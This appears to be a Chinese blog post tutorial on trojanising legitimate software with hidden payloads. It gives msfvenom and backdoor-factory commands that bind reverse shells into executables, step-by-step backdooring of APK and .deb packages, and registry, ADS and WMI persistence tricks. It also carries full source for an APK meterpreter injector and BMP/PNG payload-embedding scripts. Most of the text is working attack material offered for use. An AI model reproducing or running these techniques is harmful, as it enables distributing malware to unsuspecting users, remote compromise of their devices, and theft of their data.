常见捆绑注入payload手法

Payload捆绑注入

注入exe型+编码:
msfvenom -a <arch> --plateform <platform> -p <payload> <payload options> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path> 拼接型:
msfvenom -a <arch> --platform <platform> -p <payload> -c <shellcode> <payload options> -e <encoder option> -i <encoder times> -f <format> -o <path>

msfvenom -a x86 --platform windows  -p windows/shell/reverse_tcp LHOST=x.x.x.x LPORT=xxx -x putty.exe -k -e x86/shikata_ga_nai -f exe > testtmp.exe

-p参数可以接收自定义载荷
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

backdoor-factory

在指定程序中注入payload
backdoor-factory -f Test.exe -S                   #检测是否支持注入
backdoor-factory -f Test.exe -s show                  #查看注入payload所需参数
backdoor-factory -f Test.exe -s .... -H <host> -P <Port> -a
backdoor -i -s reverse_shell_tcp -H AttackerHost -P port -a -D  #自动搜索应用程序(-i)并注入反弹payload(-a),并删除原文件(-D)
-u .moocowwow #-u参数则代表把原文件改为指定拓展名的文件

User supplied shellcode

msfvenom -p windows/exec CMD='calc.exe' R > calc.bin
backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin

veil-evasion

>native/backdoor_factory
>set LHOST .....
>set LPORT
>set orig_exe /path/要注入的后门程序
>info 查看信息
>generate 生成payload
设置名字时不要加拓展名

shellter

基本使用不再介绍,这里介绍下加载自定义payload

如使用msf先生成payload:

msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > show options
msf payload(reverse_http) > set lhost xxx
msf payload(reverse_http) > set exitfunc thread
msf payload(reverse_http) > generate -E -e x86/shikata_ga_nai -t raw -f shellcode.raw

或者

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=xxx LPORT=xx  -f raw -o shellcode.raw

然后使用shellter时Select Payload的时候选择刚刚的生成的shellcode.raw。

APK payload捆绑

()ruby apk-embed-payload.rb <Normal.apk> -p android/meterpreter/reverse_tcp LHOST=... LPORT=... -o /path/embed-backdoor.apk
(2)d2j-apk-sign 文件名     //重新对生成的APK文件签名(d2j-apk-sign kali自带) 其他脚本
apk_binder_script.py,apk-embed-payload.rb,slpade,backdoor-apk等

APK 逆向方式手工捆绑

(1)msfvenom -p ..... payload.apk
(2)apktool d /path/payload.apk
  apktool d /path/Normal_File.apk
  把逆向payload中的smail/com中的文件夹复制到正常文件逆向后的smail/com文件夹中
(3)在正常逆向的apk文件中的AndroidManifest.xml搜索' LAUNCHER'
    如android:targetActive="com.facebook.nodex.startup.splashscreen.NodexSplashActivity">
    targetActive :程序开始的地方,根据此路径找到NodexSplashActivity.smali文件;
(4)在该文件中搜索'onCreate':
    invoke-super {p0,p1}, Lcom/facebook/nodex/startup/splashscreen/AbstractNodexSplashActivity;
    ->onCreate(Landroid/os/Bundle;)V
  在该语句下方添加一条执行payload的语句:
  invoke-static {p0},Lcom/metaspolit/stage/Payload;->start(Landroid/content/Context;)V
(5)把payload AndroidManifest.xml 中 <user-permission abdroid:name="....">语句添加到正常APK对应位置
(6)重新编译APK文件: apktool b /Normal/
(7)d2j-apk-sign 文件名 #重新签名

deb安装包中添加后门程序

(1)dpkg -x xx.deb xxx           #把xx.deb解包到xxx文件夹
(2)在xxx目录新建DEBIAN(必须大写)文件夹
(3)touch control postinst         #在DEBIAN文件夹新建control和postinst文件
(4)nano control               #写入软件包的信息,比较重要,如果有错误可能导致无法安装,所以建议直接复制原软件包中 control文件所有内容
(5)复制后门程序到解包文件夹下 /usr/bin 目录里
(6)vi postinst               #这个是安装软件是执行的脚本,这个也是我们后门程序运行的关键,内容可参考如下:

#!/bin/sh
sudo chmod 2775 /usr/bin/backdoor && sudo /usr/bin/backdoor & #执行后门程序,如这里backdoor
sudo /usr/bin/xxx -V #安装后显示软件版本信息,这里参数可能不太一样,也可以自定义执行的参数

(7)chmod 555 postinst #postinst的执行权限为>=555且=<775
(8)dpkg-deb --build xxx/ xxx.deb #检查一遍没有问题就可以打包了

本机开始监听,软件发送到目标客户端执行。。。

windows下也有很多小工具可以实现

如“邪恶后门添加工具”

将“邪恶后门添加工具”文件夹下的xiya.dll文件复制到正常程序所在的文件夹下,接下来在“后门地址”栏中输入刚才上传的病毒木马的链接地址

最后点击“添加后面”按钮,病毒木马的链接地址就会被添加到正规软件里面了。

这样当运行这个带有“后门”的软件时,软件就会在系统后台下载并运行设置的病毒木马程序了。

payload隐藏的相关技巧

0x00 目标:维持对目标主机的控制权限
0x01 要求:尽最大程度减少在目标windows主机留下文件,降低被发现被捕获样本的概率
0x02 方法: 1、伪造文件后缀名:使用不常见的后缀名,藏于系统的某个角落
分析:最简单直接的办法,但被发现的概率也最大 2、插入正常文件
将payload保存到系统正常文件的中间或者尾部
分析:比方法1高级一些,复杂度+1,没有单独生成文件,隐蔽性+2 3、藏于注册表
将payload加密存于注册表
分析:易被监控,隐蔽性-1,但poweliks的运用使该项技术创新性+2
poweliks简介:2014年8月左右出现,XCon2015《应用层持久化攻击技术》也对此做了介绍
特点:将payload保存为非ASCII字符,无法被注册表正常读取
运行代码方式:
(1)直接执行jscript: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
(2)读取注册表payload并执行: HKCU\\software\\microsoft\\windows\\currentversion\\run\\
读取并执行: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")
补充:一个加密jscript的网站:http://tool.lu/js/ 4、ADS (供选数据流/ alternate data stream)
将payload存入正常文件的ADS中
分析:适用于长度较小的payload,常用来执行vbs、Powershell脚本,效率+1,实现难度-1
常用命令:
列出文件ADS: dir /r test.txt
写入ADS: type nc.exe > test.txt:nc.exe
触发器:该触发器是一段VB脚本,会打开一个cmd运行test.txt:1 里的脚本
echo Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in
(C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:run.vbs 5、wmibackdoor
将payload存入WMI Class中,详情见drops链接:http://drops.wooyun.org/tips/8260
分析:该方法目前普及不高,检测方法也很单一,所以payload放在这里隐蔽性+3 6、Steganography
隐写术,将payload存到图片中,甚至可以伪造windows中的默认图片
分析:隐写术由来已久,但门槛很高,复杂度+1,因此检测成本也很高,隐蔽性+3

 

拓展名伪装:

一些容易被忽视的可执行拓展名:

.scr:屏幕保护程序的文件类型。

.pif:“Shortcut to MS-DOS Program”文件。默认隐藏,即使用户禁用隐藏默认文件名,也是默认不显示“.pif”后缀的 

相关文章

http://www.tuicool.com/articles/qINzyum  PNG文件中的LSB隐写

https://zhuanlan.zhihu.com/p/24054040  利用JPEG文件格式隐藏payload

https://zhuanlan.zhihu.com/p/23890809  利用PNG文件格式隐藏Payload

BMP-JS-inject

#!/usr/bin/env python2.7
#coding:utf-8
"""
eg: python BMPinjector.py -i 1.bmp "alert(document.cookie);"
参考:http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html 也可以采用js混淆来绕过检查,得到和上面一样的效果
python BMPinjector.py [-i] 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"
注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie 演示页面run.html
<html>
<head><title>Opening an image</title></head>
<body>
<img src="1.bmp"\>
<script src="1.bmp"></script>
</body>
</html>
"""
import os
import argparse def injectFile(payload,fname): f = open(fname,"r+b")
b = f.read()
f.close() f = open(fname,"w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close() f = open(fname,"a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to infected")
parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\" ")
args = parser.parse_args()
injectFile(args.js_payload,args.filename)

  

ruby apk-embed-payload.rb

#!/usr/bin/env ruby
# apk_backdoor.rb
# This script is a POC for injecting metasploit payloads on http://vinayakwadhwa.in/apk-embed-payload.rb
# arbitrary APKs.
# Authored by timwr, Jack64
# Redistributed by PFSFX require 'nokogiri'
require 'fileutils'
require 'optparse' # Find the activity thatapk_backdoor.rb is opened when you click the app icon
def findlauncheractivity(amanifest)
package = amanifest.xpath("//manifest").first['package']
activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities
activityname = activity.attribute("name")
category = activity.search('category')
unless category
next
end
for cat in category
categoryname = cat.attribute('name')
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
activityname = activityname.to_s
unless activityname.start_with?(package)
activityname = package + activityname
end
return activityname
end
end
end
end # If XML parsing of the manifest fails, recursively search
# the smali code for the onCreate() hook and let the user
# pick the injection point
def scrapeFilesForLauncherActivity()
smali_files||=[]
Dir.glob('original/smali*/**/*.smali') do |file|
checkFile=File.read(file)
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
smali_files << file
smalifile = file
activitysmali = checkFile
end
end
i=0
print "[*] Please choose from one of the following:\n"
smali_files.each{|s_file|
print "[+] Hook point ",i,": ",s_file,"\n"
i+=1
}
hook=-1
while (hook < 0 || hook>i)
print "\nHook: "
hook = STDIN.gets.chomp.to_i
end
i=0
smalifile=""
activitysmali=""
smali_files.each{|s_file|
if (i==hook)
checkFile=File.read(s_file)
smalifile=s_file
activitysmali = checkFile
break
end
i+=1
}
return [smalifile,activitysmali]
end def fix_manifest()
payload_permissions=[] #Load payload's permissions
File.open("payload/AndroidManifest.xml","r"){|file|
k=File.read(file)
payload_manifest=Nokogiri::XML(k)
permissions = payload_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
payload_permissions << name.to_s
end
# print "#{k}"
}
original_permissions=[]
apk_mani='' #Load original apk's permissions
File.open("original/AndroidManifest.xml","r"){|file2|
k=File.read(file2)
apk_mani=k
original_manifest=Nokogiri::XML(k)
permissions = original_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
original_permissions << name.to_s
end
# print "#{k}"
}
#Get permissions that are not in original APK
add_permissions=[]
for permission in payload_permissions
if !(original_permissions.include? permission)
print "[*] Adding #{permission}\n"
add_permissions << permission
end
end
inject=0
new_mani=""
#Inject permissions in original APK's manifest
for line in apk_mani.split("\n")
if (line.include? "uses-permission" and inject==0)
for permission in add_permissions
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
end
new_mani << line+"\n"
inject=1
else
new_mani << line+"\n"
end
end
File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
end apkfile = ARGV[0]
unless(apkfile && File.readable?(apkfile))
puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
exit(1)
end jarsigner = `which jarsigner`
unless(jarsigner && jarsigner.length > 0)
puts "No jarsigner"
exit(1)
end apktool = `which apktool`
unless(apktool && apktool.length > 0)
puts "No apktool"
exit(1)
end apk_v=`apktool`
unless(apk_v.split()[1].include?("v2."))
puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
exit(1)
end begin
msfvenom_opts = ARGV[1,ARGV.length]
opts=""
msfvenom_opts.each{|x|
opts+=x
opts+=" "
}
rescue
puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
puts "[-] Error parsing msfvenom options. Exiting.\n"
exit(1)
end print "[*] Generating msfvenom payload..\n"
res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
if res.downcase.include?("invalid" || "error")
puts res
exit(1)
end print "[*] Signing payload..\n"
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` `rm -rf original`
`rm -rf payload` `cp #{apkfile} original.apk` print "[*] Decompiling orignal APK..\n"
`apktool d $(pwd)/original.apk -o $(pwd)/original`
print "[*] Decompiling payload APK..\n"
`apktool d $(pwd)/payload.apk -o $(pwd)/payload` f = File.open("original/AndroidManifest.xml")
amanifest = Nokogiri::XML(f)
f.close print "[*] Locating onCreate() hook..\n" launcheractivity = findlauncheractivity(amanifest)
smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
begin
activitysmali = File.read(smalifile)
rescue Errno::ENOENT
print "[!] Unable to find correct hook automatically\n"
begin
results=scrapeFilesForLauncherActivity()
smalifile=results[0]
activitysmali=results[1]
rescue
puts "[-] Error finding launcher activity. Exiting"
exit(1)
end
end print "[*] Copying payload files..\n"
FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
print "[*] Loading ",smalifile," and injecting payload..\n"
File.open(smalifile, "w") {|file| file.puts hookedsmali }
injected_apk=apkfile.split(".")[0]
injected_apk+="_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n"
fix_manifest() print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
print "[*] Signing #{injected_apk} ..\n"
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` puts "[+] Infected file #{injected_apk} ready.\n"

png图片中插入payload

#!/usr/bin/env pthon
#--*--coding=utf-8--*--
#http://bobao.360.cn/learning/detail/3274.html
# python encode.py image.png image_out.png payload.dat from PIL import Image
from sys import argv
from base64 import b64encode i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
text = f.read() img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
text = text + '\x00'*(img_pad - len(text))
else:
print('File is too large to embed into the image.')
quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])] img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size) for ih, tblock in zip(xrange(img_in.size[0]), text):
for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
x, y, z, a = img_in.getpixel((ih, iv))
pixels = (x, y, z, an)
img_o.putpixel((ih, iv), pixels) img_o.save(o)

  

相关链接

  http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/

  http://xiao106347.blog.163.com/blog/static/215992078201401223746744/

Payload Inject And Fake的更多相关文章

  1. 2020新春公益赛 writeup

    简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...

  2. An iOS zero-click radio proximity exploit odyssey

    NOTE: This specific issue was fixed before the launch of Privacy-Preserving Contact Tracing in iOS 1 ...

  3. jQuery1.4源码解读

    来吧, 慢慢折腾吧 总结一下: jq1.4挺简单的, 正则写的不多, 看的都懂, 多写一些 三目写法到底要不要 特殊的地方的注释一定要有 /*! * jQuery JavaScript Library ...

  4. 立即执行函数(IIFE)的理解与运用

    作为JavaScript的常用语法,立即执行函数IIFE(Immediately-Invoked Function Expression)是值得我们认真去学习探究的. 一.创建函数的两种方式 我们先从 ...

  5. HTML中动态图片切换JQuery实现

    相信很多同学都注意到了,各大新闻或者娱乐网站都含有动态图片切换,那个漂亮的感觉让刚刚学习html的人,都非常好奇和心动.那下面就让我们看一下到底如何实现动态图片切换呢?看一下百度贴吧的效果图吧~ // ...

  6. metasploit快速入门

    今天没上班,在小黑屋里看了一个一百多页的书<metasploit新手指南>,在此将笔记分享给大家.欢迎大家批评指正,共同学习进步.     metasploit新手指南 笔记 kali 0 ...

  7. mysql 盲注二分法python脚本

    import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injecti ...

  8. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  9. BadUSB测试记录

    0x00 前言 不是很新的东西,其他作者已对此做过研究测试,本文仅用来记录操作过程,保存日志,说明细节. 0x01参考资料 https://github.com/adamcaudill/Psychso ...

随机推荐

  1. 【C++ 中文手册】即将完成

    [C++ 中文手册]即将完成 内容包含C++11,历时一年,日夜赶工,即将完成! 该参考手册主要由以下四部份内容组成: C++ 语言 C++ 继承了 C 语言 的大部分语法,并在其基础上修改或增加部分 ...

  2. 百度云语音识别,Audio2Txt(c#)

    百度云识别没有提供c#版本的sdk,下面给个c#的 1.打开网址http://developer.baidu.com/ 2.登陆 3.管理控制台>开发者服务管理 4.创建工程 5.输入名称,点击 ...

  3. JavaScript插件——模态框

    Bootstrap3.0学习第十七轮(JavaScript插件——模态框)   前言 阅读之前您也可以到Bootstrap3.0入门学习系列导航中进行查看http://www.cnblogs.com/ ...

  4. SQL随机生成数值字符

    1.随机生成0~N之间的数值 ROUND(RAND()*N,0) 2.随机生成Min~Max之间的数值 ROUND(RAND()*(Max-Min),0)+Min 3.随机生成大写字母 CHAR(RO ...

  5. Hadoop能力测试图谱

    一张图测试你的Hadoop能力-Hadoop能力测试图谱 1.引言 看到一张图,关于Hadoop技术框架的图,基本上涉及到Hadoop当前应用的主要领域,感觉可以作为测试Hadoop开发人员当前能力和 ...

  6. (转)C++重写、重载和重定义的区别

    C++ 重写重载重定义区别 (源自:http://blog.163.com/clevertanglei900@126/blog/static/111352259201102441934870/) 1 ...

  7. DevExpress 学习使用之 LookUpEdit

    我的机器上,Winform 控件中的 LookUp 有1+3 种,在我们国家也被称为 4 种,你们那儿呢? 这 1+3 种 LookUpEdit 分别是 LookUpEdit.GridLookUpEd ...

  8. Changing the working directory of VIM

    Sometimes we want to open another file in the same folder with current editing file, what we can do ...

  9. Simditor使用方法

    一不小心接触到Simditor,瞬间被它优美极简的界面所吸引.Simditor是Tower开源的所见即所得的在线富文本编辑器. Simditor的理念是保持简单,避免过度的功能,每一个特性都追求极致的 ...

  10. RTB撕开黑盒子 Part 4: Shady Bidding

    在这篇文章中,我将告诉你"真实的出价"比你想的微妙,并且你可以使用基于ROI的pacing策略,不需要构建一个期望扣费的模型,你就可以得到完美的期望扣费模型. Same Same ...